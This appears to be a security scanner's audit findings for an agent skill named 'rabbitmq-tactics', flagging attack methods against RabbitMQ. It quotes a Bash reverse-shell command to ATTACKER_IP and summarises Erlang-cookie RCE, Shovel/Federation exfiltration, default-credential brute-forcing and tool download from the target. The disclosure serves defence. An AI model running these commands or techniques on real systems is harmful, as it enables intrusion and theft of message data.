The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides explicit instructions for obtaining Remote Code Execution (RCE) by exploiting the Erlang distribution protocol used by RabbitMQ. It includes a specific Bash reverse shell payload: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. It also details how to use Erlang's rpc:call and os:cmd functions via an Erlang shell to execute arbitrary system commands on the host machine using stolen Erlang Cookies.
[DATA_EXFILTRATION]: The skill describes multiple methods for exfiltrating sensitive message data. This includes bulk exporting queue contents via the Management API to local JSON files and configuring the RabbitMQ Shovel and Federation plugins to transparently forward real-time message traffic to an attacker-controlled external server at amqp://ATTACKER_IP.
[COMMAND_EXECUTION]: The skill instructs the agent to execute numerous high-risk command-line tools for exploitation, including hydra and nmap for automated credential brute-forcing, and erl and rabbitmqctl for interacting with the Erlang runtime to manipulate the target system.
[CREDENTIALS_UNSAFE]: The documentation includes hardcoded default and weak credentials for testing RabbitMQ instances, such as guest:guest, admin:123456, and rabbitmq:rabbitmq. It provides automated shell scripts to iterate through these credential sets against the target's Management API.
[EXTERNAL_DOWNLOADS]: The skill directs the agent to download the rabbitmqadmin CLI tool from the target server's management interface (http://TARGET:15672/cli/rabbitmqadmin) and execute it with modified permissions (chmod +x).

rabbitmq-tactics